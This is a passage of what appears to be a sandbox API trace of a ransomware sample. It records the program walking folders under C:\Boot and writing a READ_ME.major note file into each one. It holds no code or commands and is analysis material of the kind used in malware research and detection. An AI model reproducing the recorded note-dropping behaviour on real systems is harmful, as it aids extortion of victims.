dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.826] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.826] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.827] CloseHandle (hObject=0x458) returned 1 [0121.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdc8 | out: hHeap=0x570000) returned 1 [0121.828] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Fonts", cAlternateFileName="")) returned 1 [0121.828] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.828] GetLastError () returned 0x0 [0121.828] SetLastError (dwErrCode=0x0) [0121.828] GetLastError () returned 0x0 [0121.828] SetLastError (dwErrCode=0x0) [0121.828] GetLastError () returned 0x0 [0121.828] SetLastError (dwErrCode=0x0) [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cceb8 [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0121.828] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.828] GetLastError () returned 0x0 [0121.828] SetLastError (dwErrCode=0x0) [0121.828] GetLastError () returned 0x0 [0121.829] SetLastError (dwErrCode=0x0) [0121.829] GetLastError () returned 0x0 [0121.829] SetLastError (dwErrCode=0x0) [0121.829] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.829] CreateFileW (lpFileName="\\Boot\\Fonts\\READ_ME.major" (normalized: "c:\\boot\\fonts\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.837] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.837] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.838] CloseHandle (hObject=0x458) returned 1 [0121.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0121.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0121.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf80 | out: hHeap=0x570000) returned 1 [0121.839] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0121.839] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.839] GetLastError () returned 0x0 [0121.839] SetLastError (dwErrCode=0x0) [0121.839] GetLastError () returned 0x0 [0121.839] SetLastError (dwErrCode=0x0) [0121.839] GetLastError () returned 0x0 [0121.839] SetLastError (dwErrCode=0x0) [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdc8 [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0121.839] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.839] GetLastError () returned 0x0 [0121.839] SetLastError (dwErrCode=0x0) [0121.839] GetLastError () returned 0x0 [0121.839] SetLastError (dwErrCode=0x0) [0121.839] GetLastError () returned 0x0 [0121.839] SetLastError (dwErrCode=0x0) [0121.840] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.840] CreateFileW (lpFileName="\\Boot\\fr-CA\\READ_ME.major" (normalized: "c:\\boot\\fr-ca\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.840] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.840] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.841] CloseHandle (hObject=0x458) returned 1 [0121.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0121.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0121.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccee0 | out: hHeap=0x570000) returned 1 [0121.842] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0121.842] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.842] GetLastError () returned 0x0 [0121.842] SetLastError (dwErrCode=0x0) [0121.842] GetLastError () returned 0x0 [0121.842] SetLastError (dwErrCode=0x0) [0121.842] GetLastError () returned 0x0 [0121.842] SetLastError (dwErrCode=0x0) [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccee0 [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.842] GetLastError () returned 0x0 [0121.842] SetLastError (dwErrCode=0x0) [0121.842] GetLastError () returned 0x0 [0121.842] SetLastError (dwErrCode=0x0) [0121.842] GetLastError () returned 0x0 [0121.842] SetLastError (dwErrCode=0x0) [0121.842] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.842] CreateFileW (lpFileName="\\Boot\\fr-FR\\READ_ME.major" (normalized: "c:\\boot\\fr-fr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.843] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.843] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.844] CloseHandle (hObject=0x458) returned 1 [0121.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0121.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0121.845] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0121.845] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.845] GetLastError () returned 0x0 [0121.845] SetLastError (dwErrCode=0x0) [0121.845] GetLastError () returned 0x0 [0121.845] SetLastError (dwErrCode=0x0) [0121.845] GetLastError () returned 0x0 [0121.845] SetLastError (dwErrCode=0x0) [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e0c0 [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0121.845] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.845] GetLastError () returned 0x0 [0121.845] SetLastError (dwErrCode=0x0) [0121.845] GetLastError () returned 0x0 [0121.845] SetLastError (dwErrCode=0x0) [0121.845] GetLastError () returned 0x0 [0121.846] SetLastError (dwErrCode=0x0) [0121.846] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.846] CreateFileW (lpFileName="\\Boot\\hr-HR\\READ_ME.major" (normalized: "c:\\boot\\hr-hr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.846] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.846] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.847] CloseHandle (hObject=0x458) returned 1 [0121.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0121.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0c0 | out: hHeap=0x570000) returned 1 [0121.848] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0121.848] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.848] GetLastError () returned 0x0 [0121.848] SetLastError (dwErrCode=0x0) [0121.848] GetLastError () returned 0x0 [0121.848] SetLastError (dwErrCode=0x0) [0121.848] GetLastError () returned 0x0 [0121.848] SetLastError (dwErrCode=0x0) [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e4f8 [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e548 [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e408 [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d210 [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0121.848] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.848] GetLastError () returned 0x0 [0121.848] SetLastError (dwErrCode=0x0) [0121.848] GetLastError () returned 0x0 [0121.848] SetLastError (dwErrCode=0x0) [0121.848] GetLastError () returned 0x0 [0121.849] SetLastError (dwErrCode=0x0) [0121.849] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.849] CreateFileW (lpFileName="\\Boot\\hu-HU\\READ_ME.major" (normalized: "c:\\boot\\hu-hu\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.849] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.849] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.850] CloseHandle (hObject=0x458) returned 1 [0121.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0121.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d210 | out: hHeap=0x570000) returned 1 [0121.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e408 | out: hHeap=0x570000) returned 1 [0121.850] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="it-IT", cAlternateFileName="")) returned 1 [0121.850] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.850] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.850] GetLastError () returned 0x0 [0121.850] SetLastError (dwErrCode=0x0) [0121.850] GetLastError () returned 0x0 [0121.850] SetLastError (dwErrCode=0x0) [0121.850] GetLastError () returned 0x0 [0121.850] SetLastError (dwErrCode=0x0) [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e3b8 [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e188 [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e3e0 [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.851] GetLastError () returned 0x0 [0121.851] SetLastError (dwErrCode=0x0) [0121.851] GetLastError () returned 0x0 [0121.851] SetLastError (dwErrCode=0x0) [0121.851] GetLastError () returned 0x0 [0121.851] SetLastError (dwErrCode=0x0) [0121.851] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.851] CreateFileW (lpFileName="\\Boot\\it-IT\\READ_ME.major" (normalized: "c:\\boot\\it-it\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.852] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.852] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.853] CloseHandle (hObject=0x458) returned 1 [0121.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0121.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0121.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e3e0 | out: hHeap=0x570000) returned 1 [0121.854] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0121.854] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.854] GetLastError () returned 0x0 [0121.854] SetLastError (dwErrCode=0x0) [0121.854] GetLastError () returned 0x0 [0121.854] SetLastError (dwErrCode=0x0) [0121.854] GetLastError () returned 0x0 [0121.854] SetLastError (dwErrCode=0x0) [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e570 [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e278 [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e2c8 [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2a0 [0121.854] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.854] GetLastError () returned 0x0 [0121.855] SetLastError (dwErrCode=0x0) [0121.855] GetLastError () returned 0x0 [0121.855] SetLastError (dwErrCode=0x0) [0121.855] GetLastError () returned 0x0 [0121.855] SetLastError (dwErrCode=0x0) [0121.855] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.855] CreateFileW (lpFileName="\\Boot\\ja-JP\\READ_ME.major" (normalized: "c:\\boot\\ja-jp\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.855] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.856] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.856] CloseHandle (hObject=0x458) returned 1 [0121.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2a0 | out: hHeap=0x570000) returned 1 [0121.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0121.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2c8 | out: hHeap=0x570000) returned 1 [0121.857] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0121.857] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.857] GetLastError () returned 0x0 [0121.857] SetLastError (dwErrCode=0x0) [0121.857] GetLastError () returned 0x0 [0121.857] SetLastError (dwErrCode=0x0) [0121.857] GetLastError () returned 0x0 [0121.857] SetLastError (dwErrCode=0x0) [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e200 [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e4d0 [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e520 [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1a0 [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0121.857] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0121.858] GetLastError () returned 0x0 [0121.858] SetLastError (dwErrCode=0x0) [0121.858] GetLastError () returned 0x0 [0121.858] SetLastError (dwErrCode=0x0) [0121.858] GetLastError () returned 0x0 [0121.858] SetLastError (dwErrCode=0x0) [0121.858] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0121.858] CreateFileW (lpFileName="\\Boot\\ko-KR\\READ_ME.major" (normalized: "c:\\boot\\ko-kr\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x458 [0121.859] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0121.859] WriteFile (in: hFile=0x458, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0121.860] CloseHandle (hObject=0x458) returned 1 [0121.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0121.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0121.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0121.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e520 | out: hHeap=0x570000) returned 1 [0121.860] FindNextFileW (in: hFindFile=0x5a3310, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0121.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0121.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0121.860] GetLastError () returned 0x0 [0121.860] SetLastError (dwErrCode=0x0) [0121.860] GetLastError () returned 0x0 [0121.860] SetLastError (dwErrCode=0x0) [0121.860] GetLastError () returned 0x0 [0121.860] SetLastError (dwErrCode=0x0) 